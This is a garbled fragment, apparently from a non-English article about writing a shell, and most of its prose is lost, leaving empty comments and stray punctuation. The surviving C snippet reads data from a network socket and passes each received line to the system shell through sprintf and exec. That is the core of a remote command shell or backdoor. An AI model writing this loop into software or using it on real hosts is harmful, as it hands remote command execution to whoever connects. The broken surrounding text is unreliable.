shell


, shell "" (, calcs, ).

shell :

// ,

//

while(1)

{

//

a = recv(csocket, &buf[p], MAX_BUF_SIZE - p - 1, 0);

//

if (a < 1) break;

// -

//

p += a; buf[p] = 0;

// ?

if ((ch = strpbrk(buf, xEOL)) != 0)

{ // ,

//

*ch = 0; p = 0;

// ,

//

if (strlen(buf))

{

sprintf(cmd, "%s%s", SHELL, buf); exec(cmd);

} else break; // -

}

}




- -  - -  - -